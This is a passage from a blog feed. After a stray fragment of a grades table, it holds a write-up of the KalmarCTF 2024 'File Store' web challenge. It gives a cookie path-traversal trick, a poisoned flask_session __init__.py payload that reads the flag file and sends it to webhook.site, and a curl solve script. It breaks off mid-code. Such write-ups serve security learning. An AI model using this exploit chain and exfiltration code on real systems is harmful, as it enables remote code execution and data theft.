&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;French (NVQ3)&lt;/td&gt;
&lt;td&gt;B (70%)&lt;/td&gt;
&lt;td&gt;Grade 10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Geography (AS - level)&lt;/td&gt;
&lt;td&gt;C (60%)&lt;/td&gt;
&lt;td&gt;Grade 7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content>
  </entry>
  <entry>
    <title>Writeup: KalmarCTF 2024 - File Store (Web)</title>
    <link href="https://example.com/blog/writeups/kalmarctf/2024/web/filestore/" />
    <updated>2024-03-17T00:00:00Z</updated>
    <id>https://example.com/blog/writeups/kalmarctf/2024/web/filestore/</id>
    <content type="html">&lt;h1 id=&quot;kalmarctf-2024&quot;&gt;KalmarCTF 2024&lt;/h1&gt;
&lt;p&gt;by &lt;em&gt;Hack Sleep Deploy Repeat&lt;/em&gt; (&lt;a href=&quot;https://kalmarc.tf/teams/260&quot;&gt;KalmarCTF&lt;/a&gt;, &lt;a href=&quot;https://ctftime.org/team/284495&quot;&gt;CTFtime&lt;/a&gt;)&lt;/p&gt;
&lt;h2 id=&quot;web&quot;&gt;web&lt;/h2&gt;
&lt;h3 id=&quot;file-store-59-solves&quot;&gt;File Store (59 Solves)&lt;/h3&gt;
&lt;h4 id=&quot;prompt&quot;&gt;Prompt&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Upload your files on the Kalmar File Store and share them with your friends.&lt;/p&gt;
&lt;p&gt;Note: For this challenge, you will not be sharing it by anybody else. Thus, you need to start your own instance.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://filestore.chal-kalmarc.tf/&quot;&gt;https://filestore.chal-kalmarc.tf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;./file-store.zip&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/CaIam6tQIn-553.avif 553w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/CaIam6tQIn-553.webp 553w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/CaIam6tQIn-553.png&quot; alt=&quot;File_Store.png&quot; width=&quot;553&quot; height=&quot;507&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h4 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h4&gt;
&lt;p&gt;Upon visiting the provided URL and spinning up an instance, we are presented with a web interface that allows the upload of files to a File Store web application, which is subsequently stored in a directory specific to the session ID.&lt;/p&gt;
&lt;p&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/VPgv9c0KxF-474.avif 474w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/VPgv9c0KxF-474.webp 474w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://example.com/blog/writeups/kalmarctf/2024/web/filestore/VPgv9c0KxF-474.png&quot; alt=&quot;UI.png&quot; width=&quot;474&quot; height=&quot;247&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;h4 id=&quot;challenge-source&quot;&gt;Challenge Source&lt;/h4&gt;
&lt;h5 id=&quot;app-py-with-our-comments&quot;&gt;app.py (with our comments)&lt;/h5&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; flask &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Flask&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; render_template&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; redirect&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; session
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; flask_session &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Session &lt;span class=&quot;token comment&quot;&gt;# flask_session module&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; os

SESSION_TYPE &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;filesystem&#39;&lt;/span&gt;       &lt;span class=&quot;token comment&quot;&gt;# Session data is stored in files&lt;/span&gt;
MAX_CONTENT_LENGTH &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1024&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Max 1M file upload size&lt;/span&gt;

app &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Flask&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__name__&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;from_object&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__name__&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
Session&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;app&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; methods&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;GET&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;static/uploads/&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sid&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Path uses session.sid&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;method &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;files&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;file&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;..&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# Filename cannot contain &#39;..&#39;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;400&lt;/span&gt;
        os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;makedirs&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; exist_ok&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;save&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;path &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;/&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;files&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            session&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;files&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        session&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;files&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;filename&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# session[&#39;files&#39;] contains a list of filenames&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; redirect&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; render_template&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;index.html&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; path&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;path&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; files&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;session&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;files&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;run&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;host&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;0.0.0.0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;dockerfile&quot;&gt;Dockerfile&lt;/h5&gt;
&lt;pre class=&quot;language-Dockerfile&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-Dockerfile&quot;&gt;FROM python:3.11-slim

RUN python3 -m pip install flask flask-session gunicorn

RUN useradd ctf

COPY flag.txt /flag.txt

WORKDIR /app
COPY app.py .
COPY templates/ templates/
COPY static/style.css static/

RUN mkdir -p static/uploads flask_session
RUN chmod 777 static/uploads flask_session

USER ctf

CMD gunicorn --bind :5000 app:app&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;where-can-we-upload-files&quot;&gt;Where can we upload files?&lt;/h4&gt;
&lt;p&gt;Its appears the the intended upload path is &lt;code&gt;/static/uploads/sessionid&lt;/code&gt;, but can we manipulate this?&lt;/p&gt;
&lt;p&gt;The dockerfile &lt;code&gt;chmod 777&lt;/code&gt;&#39;s both the &lt;code&gt;static/uploads&lt;/code&gt; and &lt;code&gt;flask_session&lt;/code&gt; directories, allowing any user to read, write and execute files in these directories, we will return to the significance of the &lt;code&gt;flask_session&lt;/code&gt; directory later.&lt;/p&gt;
&lt;p&gt;We have control of the filename, but it cannot contain &lt;code&gt;&#39;..&#39;&lt;/code&gt; so there is no ../ directory traversal there.&lt;/p&gt;
&lt;p&gt;What about the path variable? If we can change &lt;code&gt;session.sid&lt;/code&gt; then we can manipulate the path.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;session.sid&lt;/code&gt; turns out to just be the value given in the session cookie. (see &amp;quot;Taking a peek at flask_session source on GitHub&amp;quot; for confirmation)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;e.g. Cookie: session=../../flask_session&lt;/p&gt;
&lt;p&gt;path = &amp;quot;static/uploads/../../flask_session&amp;quot; which resolves to &amp;quot;/flask_session&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;our-unintended-solution-for-the-local-instance-16-03-24&quot;&gt;Our unintended solution for the local instance (16/03/24)&lt;/h4&gt;
&lt;h5 id=&quot;package-namespace-poisoning&quot;&gt;Package namespace poisoning&lt;/h5&gt;
&lt;p&gt;We have a module being imported called &lt;code&gt;flask_session&lt;/code&gt; and a directory (we have permission to write to) called &lt;code&gt;flask_session&lt;/code&gt;, this allows the opportunity for package namespace poisoning, however this module is only imported at the start of the python script, so we would need to upload a file and then reboot the worker somehow?&lt;/p&gt;
&lt;p&gt;According to &lt;a href=&quot;https://docs.gunicorn.org/en/stable/settings.html&quot;&gt;https://docs.gunicorn.org/en/stable/settings.html&lt;/a&gt; the worker has a default timeout of 30 seconds, if it hangs for 30 seconds the worker will be restarted, so if we can hang the web app for 30 seconds we should be able to execute our code when flask_session is imported on the worker restart.&lt;/p&gt;
&lt;blockquote&gt;
&lt;h6 id=&quot;timeout&quot;&gt;&lt;code&gt;timeout&lt;/code&gt;&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;Default:&lt;/strong&gt; &lt;code&gt;30&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Workers silent for more than this many seconds are killed and restarted.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h6 id=&quot;what-is-package-namespace-poisoning&quot;&gt;What is package namespace poisoning&lt;/h6&gt;
&lt;p&gt;Package namespace poisoning is a technique where an attacker manipulates the namespace of a package or module. By injecting malicious content into the package or module&#39;s namespace, attackers can execute arbitrary code.&lt;/p&gt;
&lt;p&gt;In the context of this challenge, package namespace poisoning involves manipulating the &lt;code&gt;flask_session&lt;/code&gt; module to execute arbitrary code on the server by placing an &lt;code&gt;___init__.py&lt;/code&gt; file in the &lt;code&gt;./flask_session&lt;/code&gt; directory, which is then executed on import, this is the case as python first looks in the current directory when resolving package namespaces.&lt;/p&gt;
&lt;h6 id=&quot;the-payload&quot;&gt;The Payload&lt;/h6&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# ./flask_session/__init__.py&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# from flask_session import *&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Write flag file to a path we can access on the site incase request fails&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; os
os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;system&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;cat /flag.txt &gt; /app/static/uploads/flag.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Send flag file as a GET request to webhook if worker never recovers&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;client
host &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;webhook.site&quot;&lt;/span&gt;
conn &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;HTTPSConnection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;host&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/flag.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    flag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;read&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/6aa6e780-08a6-4d73-8c89-0a5f371faa43/?flag=&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    response &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getresponse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;reason&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;#Self destructs after execution to aid worker recovery&lt;/span&gt;
os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;system&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;rm /app/flask_session/__init__.py&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can hang the gunicorn worker with a slow upload, but we cannot upload files larger than 1M (set by &lt;code&gt;MAX_CONTENT_LENGTH&lt;/code&gt;) so a very large file isn&#39;t an option, but we can upload via curl at whatever speed we want, so that gunicorn restarts the worker after spending 30 seconds handling our request.&lt;/p&gt;
&lt;h6 id=&quot;solve-unintended-sh&quot;&gt;solve-unintended.sh&lt;/h6&gt;
&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# run with ./solve-unintended.sh http://localhost:5000&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#__init__.py payload should also be located in current directory&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$1&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$url&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Upload payload to /flask_session/__init__.py&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;token variable&quot;&gt;$url&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
     &lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Cookie: session=../../flask_session&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
     &lt;span class=&quot;token parameter variable&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;file=@__init__.py;filename=__init__.py&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Generate a 1M file&lt;/span&gt;
truncate &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; 1M nullbytes

&lt;span class=&quot;token comment&quot;&gt;# Upload 1M nullbytes file very slowly&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; POST &lt;span class=&quot;token variable&quot;&gt;$url&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
     --limit-rate 1B &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
&lt;span class=&quot;token parameter variable&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Content-Type: multipart/form-data; boundary=---------------------------83051994911902789612622995941&#39;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&#92;&lt;/span&gt;
 --data-binary &lt;span class=&quot;token string&quot;&gt;$&#39;-----------------------------83051994911902789612622995941&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;nullbytes&quot;&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;Content-Type: application/octet-stream&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;-----------------------------83051994911902789612622995941--&lt;span class=&quot;token entity&quot; title=&quot;&#92;r&quot;&gt;&#92;r&lt;/span&gt;&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;&#39;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;

&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;If it worked app should have crashed by now&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Get the flag after payload execution&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;$url&lt;/span&gt;/static/uploads/flag.txt&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works locally but fails on the remote instance. 😱&lt;/p&gt;
&lt;h6 id=&quot;we-made-a-ticket-in-the-ctf-discord-late-into-the-night&quot;&gt;We made a ticket in the CTF discord (late into the night)&lt;/h6&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HestenettetDK — 17/03/2024 03:01&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Best help I can give is that the challenge has solves, so :TryHarder:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Myldero — 17/03/2024 03:18&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It should be noted that on remote, to get the individual instances to work, the challenge is put behind nginx. This may affect this solution. If you want a setup as similar as remote, you might need to put an nginx server in front&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Theory:&lt;/strong&gt; The NGINX instance buffers our slow curl upload of the nullbytes file before proxying it to the application, so the worker never hangs. 😥&lt;/p&gt;
&lt;h4 id=&quot;sticking-at-the-unintended-solution-17-03-24&quot;&gt;Sticking at the unintended solution (17/03/24)&lt;/h4&gt;
&lt;p&gt;After sleeping on the issue we woke up with the thoughts, what if we mess with the session file or upload a ton of files so that a GET request would timeout just parsing filenames from &lt;code&gt;session[&#39;files&#39;]&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;We can&#39;t be bothered to upload so many files and the challenge instance only lives for 10 mins, but can we manipulate the value stored in &lt;code&gt;session[&amp;quot;files&amp;quot;]&lt;/code&gt;, let try locally.&lt;/p&gt;
&lt;h5 id=&quot;taking-a-peek-at-flask-session-source-on-github&quot;&gt;Taking a peek at flask_session source on GitHub:&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;TLDR; flask_session source:&lt;/strong&gt; It calls pickle.load on the session file (except the first 4 bytes as this is a timestamp), and the session file name is just an md5 of &#39;session:{session.sid}&#39; so we have a predictable filename. 🍾&lt;/p&gt;
&lt;h6 id=&quot;extracts-from-flask-session-and-cachelib-source&quot;&gt;Extracts from flask-session &amp;amp; cachelib source&lt;/h6&gt;
&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# https://github.com/pallets-eco/flask-session/blob/main/src/flask_session/base.py#L332&lt;/span&gt;
